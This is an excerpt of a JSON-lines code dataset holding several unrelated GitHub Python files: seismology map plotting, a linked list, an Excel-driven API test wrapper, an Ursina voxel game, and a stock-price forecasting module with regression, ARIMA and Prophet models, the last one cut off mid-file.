#cbar=fig.colorbar(sc, orientation=\"horizontal\", fraction=0.046, pad=0.04)\r\n #cbar.set_label('Depth')\r\n #plt.colorbar()\r\n #plt.legend((sh,eh,fh),['station','earthquake','fault'],loc=1)\r\n fig.tight_layout()\r\n for R in rL:\r\n x,y=m(R.xyL[:,1],R.xyL[:,0])\r\n plt.arrow(x[0],y[0],x[1]-x[0],y[1]-y[0],color='b')\r\n plt.text(x[0],y[0],R.name,ha='left',va='bottom',c='b',size=12,weight='bold')\r\n plt.text(x[1],y[1],R.name+'\\'',ha='right',va='top',c='b',size=12,weight='bold')\r\n R=R0\r\n if len(R)>0:\r\n la = [R[0],R[0],R[1],R[1],R[0]]\r\n lo = [R[2],R[3],R[3],R[2],R[2]]\r\n x,y=m(lo,la)\r\n plt.plot(x,y,color='r',linewidth=1)\r\n plt.savefig(filename,dpi=300)\r\n\r\n plt.close()\r\n\r\ndef showStaCover(aMat,staTimeML,filename='cover.jpg'):\r\n fig=plt.figure(figsize=[5,5])\r\n aM = np.zeros([aMat.laN,aMat.loN])\r\n for staTimeM in staTimeML:\r\n aM[staTimeM.minTimeD<=21]+=1\r\n laL=[]\r\n loL=[]\r\n for a in aMat.subareas[0]:\r\n loL.append(a.midLo)\r\n for a in aMat.subareas:\r\n laL.append(a[0].midLa)\r\n m = basemap.Basemap(llcrnrlat=laL[0],urcrnrlat=laL[-1],llcrnrlon=loL[0],\\\r\n urcrnrlon=loL[-1])\r\n aX,aY=m(np.array(loL),np.array(laL))\r\n setMap(m)\r\n #m.pcolor(aX,aY,(aM.transpose()>2)*np.log(aM.transpose()+1),cmap='jet')\r\n pc=m.pcolor(aX,aY,(aM>2)*aM,cmap='jet')\r\n for fault in faultL:\r\n if fault.inR(laL+loL):\r\n fault.plot(m,markersize=0.3)\r\n cbar=fig.colorbar(pc, orientation=\"horizontal\",fraction=0.046, pad=0.04)\r\n cbar.set_label('Station Coverage')\r\n plt.savefig(filename,dpi=300)\r\n\r\ndef setMap(m):\r\n \r\n parallels = np.arange(0.,90,3)\r\n m.drawparallels(parallels,labels=[False,True,True,False])\r\n meridians = np.arange(10.,360.,3)\r\n m.drawmeridians(meridians,labels=[True,False,False,True])\r\n \r\n plt.gca().yaxis.set_ticks_position('left')\r\n\r\n\r\n\r\n'''\r\n\r\ndef getStaLByQuake(staInfos, aMat, staTimeML, modelL,quake,\\\r\n getFileName=originFileName,taupM=tool.quickTaupModel(), \\\r\n mode='mid', N=5,isPre=False,bTime=-100,delta0=0.02):\r\n staL=[None for i in range(len(staInfos))]\r\n threads = list()\r\n for i in range(len(staInfos)):\r\n staInfo=staInfos[i]\r\n nt = staInfo['net']\r\n st = staInfo['sta']\r\n loc = [staInfo['la'],staInfo['lo']]\r\n print('process on sta: ',i)\r\n dis=DistAz(quake.loc[0],quake.loc[1],staInfos[i]['la'],\\\r\n staInfos[i]['lo']).getDelta()\r\n date=obspy.UTCDateTime(quake.time+taupM.get_travel_times(quake.loc[2],dis)[0].time+bTime)\r\n getSta(staL, i, nt, st, date, modelL, staTimeML[i], loc, \\\r\n [0.01, 15], getFileName, taupM, mode,isPre=isPre,delta0=delta0)\r\n return staL\r\n'''\r\n","repo_name":"baogegeJiang/SeismTool","sub_path":"detector/detecQuake.py","file_name":"detecQuake.py","file_ext":"py","file_size_in_byte":38471,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6237930367","text":"class Node:\n def __init__(self, data=None, next=None):\n self.data = data\n self.next = next\n\n\nclass LinkedList:\n def linked_list(lis):\n node = Node(lis[0])\n head = node\n for i in range(1, len(lis)):\n node.next = Node(lis[i])\n node = node.next\n return head\n\n \n ","repo_name":"apoorvtyagii/DataStructuresAndAlgorithms","sub_path":"ds/linkedlist/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1795968518","text":"# coding:utf-8\n'''\n 封装requests方法\n'''\nimport json\nimport requests\n\nfrom Ademo_unittest_logging_email_test.common import read_excel\nfrom Ademo_unittest_logging_email_test.common.write_excel import copy_excel,Write_excel\n\ndef send_requests(testdata):\n '''封装requests请求'''\n id = testdata['id']\n case_name = testdata['case_name']\n method = testdata[\"method\"]\n url_base = testdata[\"url\"]\n # 因为发现读取接口url时,最后带上了换行符,所以把右边的空格全删除\n url = url_base.rstrip()\n # params\n #try:\n # eval(expression,globals=None,locals=None):expression:传入的表达式;globals是可选参数,不设置时,则必须为dict对象,locals:不为None时,可以是任何map对象\n #params = eval(testdata[\"params\"])\n #except:\n #params = None\n params = testdata['params']\n try:\n headers = eval(testdata[\"headers\"])\n print(\"请求头部:%s\" % headers)\n except:\n headers = None\n\n type = testdata[\"type\"]\n #test_api = testdata['func_name']\n test_nub = testdata['id']\n\n print(\"测试用例场景:%s\" % case_name)\n print(\"请求url: %s\" % url)\n print(\"请求params:%s\" % params)\n\n try:\n bodydata = eval(testdata[\"body\"])\n except:\n bodydata = {}\n\n # 判断传data数据还是json\n if type == \"data\":\n body = bodydata\n elif type == \"json\":\n body = json.dumps(bodydata)\n else:\n body = bodydata\n\n # 判断选择调用request的某个方法\n try:\n if method == \"post\":\n print(\"post请求body类型为:%s ,body内容为:%s\" % (type, body))\n r = requests.post(url=url,data=params,headers={'content-type': 'application/json'})\n print(r.status_code)\n\n elif method == 'get':\n print(\"get请求!\") # body类型为:%s ,body内容为:%s\" % (type, body))\n r = requests.get(url=url, data=params)\n\n elif method == 'patch':\n pass\n\n elif method == 'put':\n pass\n else:\n print('其他请求,结束!')\n return None\n\n print(\"页面返回信息:%s\" % r.content.decode(\"utf-8\"))\n\n # 接受返回数据\n res = {}\n res['id'] = testdata['id']\n res['rowNum'] = testdata['id'] + 1 # 第一行被字段占用,所以需要\n res[\"statuscode\"] = str(r.status_code) # 状态码转成str\n res[\"text\"] = r.content.decode(\"utf-8\")\n res[\"times\"] = str(r.elapsed.total_seconds()) # 接口请求时间转str\n\n if res[\"statuscode\"] != \"200\":\n res[\"error\"] = res['text']\n else:\n res[\"error\"] = \"\"\n\n res[\"msg\"] = \"\"\n\n # 进行判断\n if testdata[\"checkpoint\"] in res[\"text\"]:\n res[\"result\"] = \"pass\"\n print(\"用例测试结果: %s---->%s\" % (test_nub, res[\"result\"]))\n else:\n res[\"result\"] = \"fail\"\n return res\n\n except Exception as msg:\n res[\"msg\"] = str(msg)\n return res\n\ndef wirte_result(result, filename=\"result.xlsx\"):\n # 返回结果的行数row_nub\n row_nub = result['rowNum']\n # 写入statuscode\n wt = Write_excel(filename)\n wt.write(row_nub, 9, result['statuscode']) # 写入返回状态码statuscode,第8列\n wt.write(row_nub, 10, result['times']) # 耗时\n wt.write(row_nub, 11, result['error']) # 状态码非200时的返回信息\n wt.write(row_nub, 13, result['result'])\n wt.write(row_nub, 14, result['msg']) # 抛异常\n\n\nif __name__ == \"__main__\":\n data = read_excel.ApiDefine_change('F:\\Python_project\\Ademo_unittest_logging_email_test\\dataExcel\\出口合理性分析导出接口new.xlsx').dict_data()\n print(data)\n #s = requests.session()\n res = send_requests(data)\n copy_excel(\"出口合理性分析导出接口new.xlsx\", \"result.xlsx\")\n wirte_result(res, filename=\"result.xlsx\")\n","repo_name":"lipingxx/Ademo_requests_unittest_ddt_excel","sub_path":"common/requestsModule.py","file_name":"requestsModule.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"33155579551","text":"from turtle import position\nfrom pygments import highlight\nfrom ursina import *\nfrom ursina.prefabs.first_person_controller import FirstPersonController\n\napp = Ursina()\n\n# define a Voxel class\n# by setting the parent to scene and the model to 'cube' it becomes a 3d button\n\nclass Voxel(Button):\n def __init__(self, position=(0,0,0)):\n super().__init__(\n parent = scene,\n position = position,\n model = 'cube',\n origin_y = .5,\n texture = 'white_cube',\n color = color.color(0,0,random.uniform(.9, 1.0)),\n highlight_color = color.lime,\n )\n\n def input(self, key):\n if self.hovered:\n if key == 'left mouse down':\n voxel = Voxel(position=self.position + mouse.normal)\n\n if key == 'right mouse down':\n destroy(self)\n\nfor z in range(8):\n for x in range(8):\n voxel = Voxel(position=(x,0,z))\n\nplayer = FirstPersonController()\napp.run()","repo_name":"FDlucifer/python-climb-learning-tutorial","sub_path":"advanced-python-tutorial/3D Game Development/main3.py","file_name":"main3.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"32"} +{"seq_id":"37173301583","text":"import warnings\nimport os\n\nimport math\nimport random\nimport datetime\nimport pytz\nimport requests\nimport pickle\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\nfrom pandas.io.json import json_normalize\n\nfrom scipy.stats.stats import pearsonr\n\n# Linear Regression\nfrom sklearn.linear_model import LinearRegression\n\n# Arima\nfrom pyramid.arima import auto_arima\n\n# Facebook's Prophet\nfrom fbprophet import Prophet\n\n# Long Short Term Memory\nfrom sklearn.preprocessing import MinMaxScaler\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, LSTM\n\n# Makes Keras picklable\nfrom tools.make_keras_picklable import make_keras_picklable\nmake_keras_picklable()\n\n\n\n#--------------------------------------\n# Common functions\n#--------------------------------------\n\ndef expand_date_in_dataframe(df):\n \"\"\"\n It breaks the date attibute (assuming it's a datetime) of a dataframe in more fileds\n for year, month, day, week, day of week and day of year.\n \"\"\"\n df['year'] = df.date.dt.year\n df['month'] = df.date.dt.month\n df['day'] = df.date.dt.day\n df['week'] = df.date.dt.week\n df['dayofweek'] = df.date.dt.dayofweek\n df['dayofyear'] = df.date.dt.dayofyear\n\n\ndef add_timestamp_to_dataframe(df):\n \"\"\"\n It add a representation of the date attibute (assuming it's a datetime) as a timestamp.\n \"\"\"\n df['timestamp'] = df.date.values.astype(np.int64)\n\n\ndef str_to_datetime(date):\n \"\"\"\n Converts a string into a datetime.\n\n :param str date: The string representation in the format 'yyyy-mm-dd' of the date to convert.\n :return: The resulting datetime.\n :rtype: datetime.datetime\n \"\"\"\n return datetime.datetime.strptime(date, '%Y-%m-%d')\n\n\ndef datetime_array_to_dataframe(days):\n \"\"\"\n Gets a dataframe from an array of dates.\n\n :param list[datetime.datetime] date: The array of dates.\n :return: The dataframe.\n :rtype: pandas.DataFrame\n \"\"\"\n return pd.DataFrame({'date': days})\n\n\n\n#--------------------------------------\n# Dataset management\n#--------------------------------------\n\nclass Dataset:\n \"\"\"\n This class is used to manage the dataset that contains the hsitoric stock prices\n for the companies contemplated in the Dow Jones Industrial Average.\n \"\"\"\n\n \"\"\" Ticker symbols of the companies contemplated in the Dow Jones Industrial Average. \"\"\"\n DJIA_TICKERS = [\n 'BA', 'PFE', 'MCD', 'WMT', 'KO', 'MRK', 'HD', 'V', 'JNJ', 'VZ',\n 'CSCO', 'AXP', 'TRV', 'DIS', 'MSFT', 'UNH', 'DWDP', 'CAT', 'AAPL', 'UTX',\n 'MMM', 'JPM', 'IBM', 'GS', 'XOM', 'INTC', 'NKE', 'CVX', 'PG', 'WBA' ]\n\n \"\"\" This is the symbol used by the actual average, i.e. the Dow Jones Industrial Average. \"\"\"\n DJIA_SYMBOL = 'DIA'\n\n \"\"\" Value used to get the historical data from 5 years ago. \"\"\"\n HIST_5Y = '5y'\n\n \"\"\" Value used to get the historical data from 1 year ago. \"\"\"\n HIST_1Y = '1y'\n\n \"\"\" Value used to get the historical data from 1 month ago. \"\"\"\n HIST_1M = '1m'\n\n \"\"\"\n This is the template to create the URL to extract historical stock prices\n from the IEX API.\n \"\"\"\n __IEX_API_URL_TEMPLATE = 'https://api.iextrading.com/1.0/stock/{}/chart/{}'\n\n\n def __init__(self, dataframe=None):\n \"\"\"\n The constructor of Dataset.\n\n :param pandas.DataFrame df: The dataframe containing stock price historical records,\n which will be actual data.\n \"\"\"\n self.dataframe = dataframe\n\n\n @staticmethod\n def __preprocess_dataframe(df):\n \"\"\"\n Pre-processes a dataframe containing stock price historical records (from IEX)\n by removing the columns that are not useful to make future predictions\n and expanding the date in more columns.\n\n :param pandas.DataFrame df: The dataframe containing stock price historical records.\n :return: The pre-processed dataframe.\n :rtype: pandas.DataFrame\n \"\"\"\n formated_df = df.drop(['label',\n 'change', 'changeOverTime', 'changePercent',\n 'high', 'low', 'open',\n 'unadjustedVolume', 'volume', 'vwap'],\n axis=1)\n\n return formated_df\n\n\n @staticmethod\n def __get_dataframe_for_ticker(ticker_symbol, hist_period):\n \"\"\"\n Retrieves the historic prices for a particuler stock from the data source,\n i.e. the IEX API.\n\n :param str ticker_symbol: The ticker symbol or symbols to filter the data.\n :param str hist_period: The period to retrieve historical records,\n p.e '5y' for 5 years, '1y' for 1 year, '1m' for 1 month, etc.\n :return: The dataframe containing the historic prices.\n :rtype: pandas.DataFrame\n \"\"\"\n # Getting the historic records from IEX\n r = requests.get(url=Dataset.__IEX_API_URL_TEMPLATE.format(ticker_symbol.lower(), hist_period))\n df = json_normalize(r.json())\n\n # Converting the date to a datetime\n df.date = pd.to_datetime(df.date, format='%Y-%m-%d')\n\n # Adding the ticker symbol as a new column\n df.insert(loc=0, column='symbol', value=ticker_symbol)\n\n return Dataset.__preprocess_dataframe(df)\n\n\n @staticmethod\n def __get_djia_dataframe(hist_period):\n \"\"\"\n Gets a dataframe containing historic prices for stocks in the Dow Jones Industrial Average.\n\n :param str hist_period: The period to retrieve historical records,\n p.e '5y' for 5 years, '1y' for 1 year, '1m' for 1 month, etc.\n :return: The dataframe containing the historic prices.\n :rtype: pandas.DataFrame\n \"\"\"\n # Getting the historic records of the average\n df = Dataset.__get_dataframe_for_ticker(Dataset.DJIA_SYMBOL, hist_period)\n\n # Retrieves the historic records for each one of the ticker symbols in the\n # Dow Jones Industrial Average\n for ticker_symbol in Dataset.DJIA_TICKERS:\n df = df.append(Dataset.__get_dataframe_for_ticker(ticker_symbol, hist_period))\n\n return df\n\n\n @staticmethod\n def __update_djia_dataframe(df):\n \"\"\"\n Updates a dataframe containing historic prices for stocks in the Dow Jones Industrial Average,\n by retrieving the most recent records from the information source.\n\n :param pandas.DataFrame hist_period: The dataframe containing stock price historical records.\n :return: The dataframe containing the historic prices.\n :rtype: pandas.DataFrame\n \"\"\"\n\n # Getting the amount of days that need to be updated\n last_recorded_day = max(df.date)\n today = datetime.datetime.now()\n days_to_update = (today - last_recorded_day).days\n\n # Deciding the historic period to request to the source according to the days that\n # need to be updated\n hist_period = Dataset.HIST_5Y\n if days_to_update < 1:\n return df\n elif days_to_update < 28:\n hist_period = Dataset.HIST_1M\n elif days_to_update < 365:\n hist_period = Dataset.HIST_1Y\n\n # Getting the data frame containing the missing records\n last_df = Dataset.__get_djia_dataframe(hist_period)\n\n # Appending the missing records, dropping the duplicates and returning\n return df.append(last_df).drop_duplicates(['symbol', 'date'], keep='last')\n\n\n @staticmethod\n def loadDatasetFromFile(file_name):\n \"\"\"\n Loads the dataset from a file where data was previously stored.\n\n :param str file_name: The name of the file to load the data from. \n \"\"\"\n with open(file_name, 'rb') as fp:\n return Dataset(pickle.load(fp))\n\n\n def saveDataToFile(self, file_name=None):\n \"\"\"\n Saves the current dataset to a file.\n\n :param file_name: The name of the file to save the data,\n if None the data is saved to a file in the 'data' directory\n using a name of the form 'djia_yyyymmdd-yyyymmdd.pkl'\n with the minimum and maximum recorded dates. \n :type file_name: str or None\n :return: The name of the file used to store the data.\n :rtype: str\n \"\"\"\n if file_name is None:\n file_name = os.path.join(\n 'data',\n 'djia_{:%Y%m%d}-{:%Y%m%d}.pkl'.format(min(self.dataframe.date), max(self.dataframe.date)))\n\n with open(file_name, 'wb') as fp:\n pickle.dump(self.dataframe, fp)\n\n return file_name\n\n\n @staticmethod\n def createDataset(hist_period=HIST_5Y):\n \"\"\"\n Creates a dataset with brand new data,\n by default it retrieves historical records from the last 5 years.\n\n :param str hist_period: The period to retrieve historical records, 5 years ('5y') by default.\n :return: The new dataset.\n :rtype: Dataset\n \"\"\"\n return Dataset(Dataset.__get_djia_dataframe(hist_period))\n\n\n def updateData(self):\n \"\"\"\n Updates the dataset by getting the most recent history records from the source.\n Note: This method is intended to be run periodicaly in order to keep the dataset up to date.\n \"\"\"\n self.dataframe = Dataset.__update_djia_dataframe(self.dataframe)\n\n\n def getDataframe(self, ticker_symbol=None, from_date=None, to_date=None):\n \"\"\"\n Gets a dataframe containing a subset of the records of the current dataset,\n which is obtained by filtering by a ticker symbol or list (array) of ticker symbols\n and/or a date range.\n\n :param ticker_symbol: The ticker symbol or symbols to filter the data.\n :type ticker_symbol: str or list[str] or None\n :param from_date: The minimum date to appear in the records of the subset.\n :type from_date: datetime.datetime or None\n :param to_date: The maximum date to appear in the records of the subset.\n :type to_date: datetime.datetime or None\n :return: The dataframe with the subset resulted of filtering the dataset.\n :rtype: pandas.DataFrame\n \"\"\"\n df = self.dataframe\n\n if ticker_symbol is not None:\n if isinstance(ticker_symbol, str): # If ticker_symbol symbol is a string\n df = df.query(\"symbol == '{}'\".format(ticker_symbol))\n elif isinstance(ticker_symbol, list): # If ticker_symbol symbol is an array\n # Creates a query expression as a sequence of ORs\n ticker_symbol_query = None\n for t in ticker_symbol:\n ticker_symbol_exp = \"symbol == '{}'\".format(t)\n if ticker_symbol_query is None:\n ticker_symbol_query = ticker_symbol_exp\n else:\n ticker_symbol_query += \"or \" + ticker_symbol_exp\n df = df.query(ticker_symbol_query)\n\n if from_date is not None:\n df = df.query(\"date >= '{}'\".format(from_date))\n\n if to_date is not None:\n df = df.query(\"date <= '{}'\".format(to_date))\n\n return df\n\n\n\n def getSubset(self, ticker_symbol=None, from_date=None, to_date=None):\n \"\"\"\n Gets a subset of the current dataset filtered \n by a ticker symbol or list (array) of ticker symbols and/or a date range.\n\n :param ticker_symbol: The ticker symbol or symbols to filter the data.\n :type ticker_symbol: str or list[str] or None\n :param from_date: The minimum date to appear in the records of the subset.\n :type from_date: datetime.datetime or None\n :param to_date: The maximum date to appear in the records of the subset.\n :type to_date: datetime.datetime or None\n :return: The subset resulted of filtering the dataset.\n :rtype: Dataset\n \"\"\"\n df = self.getDataframe(ticker_symbol=ticker_symbol, from_date=from_date, to_date=to_date)\n return Dataset(df)\n\n\nclass TradingDaysHelper:\n \"\"\"\n This is a helper to retrieve the days that the market is open.\n The market holidyas are loaded from a file, by default 'market_holidays.txt'.\n \"\"\"\n\n def __init__(self, market_holidays_file='market_holidays.txt'):\n \"\"\"\n The constructor.\n\n :param str market_holidays_file: The file containing the market holidays,\n by default 'market_holidays.txt'.\n \"\"\"\n self.market_holidays = []\n\n with open(market_holidays_file) as f:\n lines = f.readlines()\n\n for line in lines:\n self.market_holidays.append(datetime.datetime.strptime(line.strip(), '%Y-%m-%d'))\n\n\n def __is_trading_day(self, day):\n \"\"\"\n Verifies if in a particular day the market is open.\n\n :param datetime.datetime day: The day to verify if the marke is open.\n :return: True if the marke is open of False otherwise.\n :rtype: bool\n \"\"\"\n day_of_week = day.weekday()\n if day_of_week == 5 or day_of_week == 6 or day in self.market_holidays:\n return False\n else:\n return True\n\n\n def get_trading_days_in_range(self, start_date, end_date):\n \"\"\"\n Getting the trading days existing in a date range.\n\n :param datetime.datetime from_date: The starting date of the range.\n :param datetime.datetime to_date: The ending date of the range.\n :return: A list of the trading days in the specified date range.\n :rtype: list[datetime.datetime]\n \"\"\"\n trading_days = []\n\n current_day = start_date\n while (current_day <= end_date):\n if self.__is_trading_day(current_day):\n trading_days.append(current_day)\n current_day += datetime.timedelta(days=1)\n\n return trading_days\n\n\n def get_trading_days_after(self, date, num_trading_days):\n \"\"\"\n Getting a specific number of trading days after a given date.\n\n :param datetime.datetime date: The date after which training days are going to be retrieved.\n :param int num_trading_days: The number of training days to get.\n :return: A list containing the trading days.\n :rtype: list[datetime.datetime]\n \"\"\"\n trading_days = []\n\n current_day = date\n while (len(trading_days) < num_trading_days):\n current_day += datetime.timedelta(days=1)\n if self.__is_trading_day(current_day):\n trading_days.append(current_day)\n\n return trading_days\n\n\n\n#--------------------------------------\n# Machine Learning Models\n#--------------------------------------\n\nclass StockForecasterModel:\n \"\"\"\n This is a super-class to represent ML models/methods to perform predictions\n for the stock closing price for a particular company.\n \"\"\"\n\n def __init__(self, ticker_symbol, trading_days_helper=None):\n \"\"\"\n The constructor.\n\n :param str ticker_symbol: The ticker symbol to perform predictions for.\n :param trading_days_helper: The helper object to get the days that the market is open/closed.\n :type trading_days_helper: TradingDaysHelper or None\n \"\"\"\n self.short_name = None\n self.long_name = None\n\n self.ticker_symbol = ticker_symbol\n\n self.training_start = None\n self.training_end = None\n\n if trading_days_helper is None:\n self.trading_days_helper = TradingDaysHelper()\n else:\n self.trading_days_helper = trading_days_helper\n\n\n def train(self, base_dataset, start_date=None, end_date=None):\n \"\"\"\n Trains the model.\n\n :param Dataset base_dataset: The dataset used to extract the training set\n in accordance with the date range. \n :param start_date: The minimum date for the records used in the training set.\n :type start_date: datetime.datetime or None\n :param end_date: The maximum date for the records used in the training set.\n :type end_date: datetime.datetime or None\n \"\"\"\n raise NotImplementedError('Please Implement this method.')\n\n\n def predict(self, from_date, to_date=None, base_dataset=None):\n \"\"\"\n Performs closing price predictions for a given date range.\n\n :param datetime.datetime from_date: The initial date of the date range to predict.\n :param to_date: The final date of the date range to predict.\n :type to_date: datetime.datetime or None\n :param base_dataset: The dataset used to support the prediction,\n in case that the model supports that.\n :type base_dataset: Dataset or None\n :return: A dataframe containing the date of the trading days in the given range\n and their respective predicted closing price.\n :rtype: pandas.DataFrame\n \"\"\"\n raise NotImplementedError('Please Implement this method.')\n\n\n @staticmethod\n def loadFromFile(file_name):\n \"\"\"\n Loads the model from a file.\n\n :param str file_name: The name of the file to load the model from. \n \"\"\"\n with open(file_name, 'rb') as fp:\n return pickle.load(fp)\n\n\n def saveToFile(self, file_name=None):\n \"\"\"\n Saves the current model to a file.\n\n :param file_name: The name of the file to save the model,\n if None the data is saved to a file in the 'data' directory\n using a name of the form 'model_name_ticker_yyyymmdd-yyyymmdd.pkl'\n with the minimum and maximum dates used for training. \n :type file_name: str or None\n :return: The name of the file used to store the model.\n :rtype: str\n \"\"\"\n if file_name is None:\n file_name = os.path.join(\n 'data',\n 'model_{}_{}_{:%Y%m%d}-{:%Y%m%d}.pkl'.format(\n self.short_name, self.ticker_symbol, self.training_start, self.training_end))\n\n with open(file_name, 'wb') as fp:\n pickle.dump(self, fp)\n\n return file_name\n\n\nclass LinearRegressionStockForecaster(StockForecasterModel):\n \"\"\"\n This represents a stock forecaster model based on linear regression.\n \"\"\"\n\n def __init__(self, ticker_symbol, trading_days_helper=None):\n \"\"\"\n The constructor.\n\n :param str ticker_symbol: The ticker symbol to perform predictions for.\n :param trading_days_helper: The helper object to get the days that the market is open/closed.\n :type trading_days_helper: TradingDaysHelper or None\n \"\"\"\n StockForecasterModel.__init__(self, ticker_symbol, trading_days_helper=trading_days_helper)\n self.short_name = 'LinearRegression'\n self.long_name = 'Linear Regression'\n\n\n def train(self, base_dataset, start_date=None, end_date=None):\n \"\"\"\n Trains the model.\n\n :param Dataset base_dataset: The dataset used to extract the training set\n in accordance with the date range. \n :param start_date: The minimum date for the records used in the training set.\n :type start_date: datetime.datetime or None\n :param end_date: The maximum date for the records used in the training set.\n :type end_date: datetime.datetime or None\n \"\"\"\n if start_date is not None and end_date is not None and start_date > end_date:\n raise ValueError('Invalid training date range.')\n\n training_set = base_dataset.getDataframe(ticker_symbol=self.ticker_symbol,\n from_date=start_date, to_date=end_date)\n\n self.training_start = min(training_set.date)\n self.training_end = max(training_set.date)\n\n # Pre-Processing\n # Only the timestamp (which is a numeric value) is considered as predictor,\n # since the linear regresion does not support datetimes\n add_timestamp_to_dataframe(training_set)\n x = training_set[['timestamp']]\n y = training_set.close\n\n self.model = LinearRegression()\n self.model.fit(x, y)\n\n\n def predict(self, from_date, to_date=None, base_dataset=None):\n \"\"\"\n Performs closing price predictions for a given date range.\n\n :param datetime.datetime from_date: The initial date of the date range to predict.\n :param to_date: The final date of the date range to predict.\n :type to_date: datetime.datetime or None\n :param base_dataset: This is not supported for this model.\n :type base_dataset: Dataset or None\n :return: A dataframe containing the date of the trading days in the given range\n and their respective predicted closing price.\n :rtype: pandas.DataFrame\n \"\"\"\n if from_date is None:\n raise ValueError('Invalid initial date.')\n if to_date is None:\n to_date = from_date\n if from_date > to_date:\n raise ValueError('Invalid date range to predict.')\n\n if base_dataset is not None:\n warnings.warn(\"Prediction using a base dataset is not supported.\")\n\n # Getting the trading days in the predicting date range\n days_to_predict = self.trading_days_helper.get_trading_days_in_range(from_date, to_date)\n x_train = datetime_array_to_dataframe(days_to_predict)\n\n # Pre-Processing\n # Only the timestamp (which is a numeric value) is considered as predictor,\n # since the linear regresion does not support datetimes\n add_timestamp_to_dataframe(x_train)\n x_train = x_train[['timestamp']]\n\n y = self.model.predict(x_train)\n \n return pd.DataFrame({'symbol': self.ticker_symbol,\n 'date': days_to_predict,\n 'predicted_price': y})\n\n\nclass ArimaStockForecaster(StockForecasterModel):\n \"\"\"\n This represents a stock forecaster model based on Arima.\n \"\"\"\n\n def __init__(self, ticker_symbol, trading_days_helper=None):\n \"\"\"\n The constructor.\n\n :param str ticker_symbol: The ticker symbol to perform predictions for.\n :param trading_days_helper: The helper object to get the days that the market is open/closed.\n :type trading_days_helper: TradingDaysHelper or None\n \"\"\"\n StockForecasterModel.__init__(self, ticker_symbol, trading_days_helper=trading_days_helper)\n self.short_name = 'Arima'\n self.long_name = 'Arima'\n\n\n def train(self, base_dataset, start_date=None, end_date=None):\n \"\"\"\n Trains the model.\n\n :param Dataset base_dataset: The dataset used to extract the training set\n in accordance with the date range. \n :param start_date: The minimum date for the records used in the training set.\n :type start_date: datetime.datetime or None\n :param end_date: The maximum date for the records used in the training set.\n :type end_date: datetime.datetime or None\n \"\"\"\n if start_date is not None and end_date is not None and start_date > end_date:\n raise ValueError('Invalid training date range')\n\n training_set = base_dataset.getDataframe(ticker_symbol=self.ticker_symbol,\n from_date=start_date, to_date=end_date)\n self.training_start = min(training_set.date)\n self.training_end = max(training_set.date)\n\n # Pre-Processing\n # ARIMA only receives as sequence of value in the training,\n # then only the sequence of closing prices is needed\n training_set = training_set.close\n\n self.model = auto_arima(training_set,\n start_p=1, start_q=1, max_p=3, max_q=3, m=12, start_P=0,\n seasonal=True, d=1, D=1, trace=True,\n error_action='ignore', suppress_warnings=True)\n self.model.fit(training_set)\n\n\n def predict(self, from_date, to_date=None, base_dataset=None):\n \"\"\"\n Performs closing price predictions for a given date range.\n\n :param datetime.datetime from_date: The initial date of the date range to predict.\n :param to_date: The final date of the date range to predict.\n :type to_date: datetime.datetime or None\n :param base_dataset: This is not supported for this model.\n :type base_dataset: Dataset or None\n :return: A dataframe containing the date of the trading days in the given range\n and their respective predicted closing price.\n :rtype: pandas.DataFrame\n \"\"\"\n if from_date is None:\n raise ValueError('Invalid initial date')\n if to_date is None:\n to_date = from_date\n if from_date > to_date:\n raise ValueError('Invalid date range to predict')\n if from_date <= self.training_end:\n raise ValueError('Date range to predict should be after last date used for training')\n\n if base_dataset is not None:\n warnings.warn(\"Prediction using a base dataset is not supported.\")\n\n # Getting the trading days to predict, including some gaps between the end of the training\n # and the begining of the prediction range\n prediction_start = self.training_end + datetime.timedelta(days=1)\n days_to_predict = self.trading_days_helper.get_trading_days_in_range(prediction_start, to_date)\n\n # Pre-Processing\n # For ARIMA only the number of future points to predict is required,\n # then only the number of trading days to predict need to be calculated\n y = self.model.predict(n_periods=len(days_to_predict))\n \n return pd.DataFrame({'symbol': self.ticker_symbol,\n 'date': days_to_predict,\n 'predicted_price': y}\n )\\\n .query(\"date >= '{}' and date <= '{}'\".format(from_date, to_date))\n # Filtering to get just the days in the given prediction range\n\n\nclass ProphetStockForecaster(StockForecasterModel):\n \"\"\"\n This represents a stock forecaster model based on Facebook's Prophet.\n \"\"\"\n\n def __init__(self, ticker_symbol, trading_days_helper=None):\n \"\"\"\n The constructor.\n\n :param str ticker_symbol: The ticker symbol to perform predictions for.\n :param trading_days_helper: The helper object to get the days that the market is open/closed.\n :type trading_days_helper: TradingDaysHelper or None\n \"\"\"\n StockForecasterModel.__init__(self, ticker_symbol, trading_days_helper=trading_days_helper)\n self.short_name = 'Prophet'\n self.long_name = 'Prophet'\n\n\n def train(self, base_dataset, start_date=None, end_date=None):\n \"\"\"\n Trains the model.\n\n :param Dataset base_dataset: The dataset used to extract the training set\n in accordance with the date range. \n :param start_date: The minimum date for the records used in the training set.\n :type start_date: datetime.datetime or None\n :param end_date: The maximum date for the records used in the training set.\n :type end_date: datetime.datetime or None\n \"\"\"\n if start_date is not None and end_date is not None and start_date > end_date:\n raise ValueError('Invalid training date range')\n\n self.training_set = base_dataset.getDataframe(ticker_symbol=self.ticker_symbol,\n from_date=start_date, to_date=end_date)\n self.training_start = min(self.training_set.date)\n self.training_end = max(self.training_set.date)\n\n # Pre-Processing\n # Prophet takes the dates as predictors in a column called 'ds',\n # and the outcomes in a column called 'y',\n # then the columns 'date' needs to be renamed as 'ds', and 'close' as 'y'\n self.training_set = pd.DataFrame(self.training_set, columns=['date', 'close'])\n self.training_set.rename(columns={'close': 'y', 'date': 'ds'}, inplace=True)\n\n self.model = Prophet(daily_seasonality=True)\n self.model.fit(self.training_set)\n\n\n def predict(self, from_date, to_date=None, base_dataset=None):\n \"\"\"\n Performs closing price predictions for a given date range.\n\n :param datetime.datetime from_date: The initial date of the date range to predict.\n :param to_date: The final date of the date range to predict.\n :type to_date: datetime.datetime or None\n :param base_dataset: This is not supported for this model.\n :type base_dataset: Dataset or None\n :return: A dataframe containing the date of the trading days in the given range\n and their respective predicted 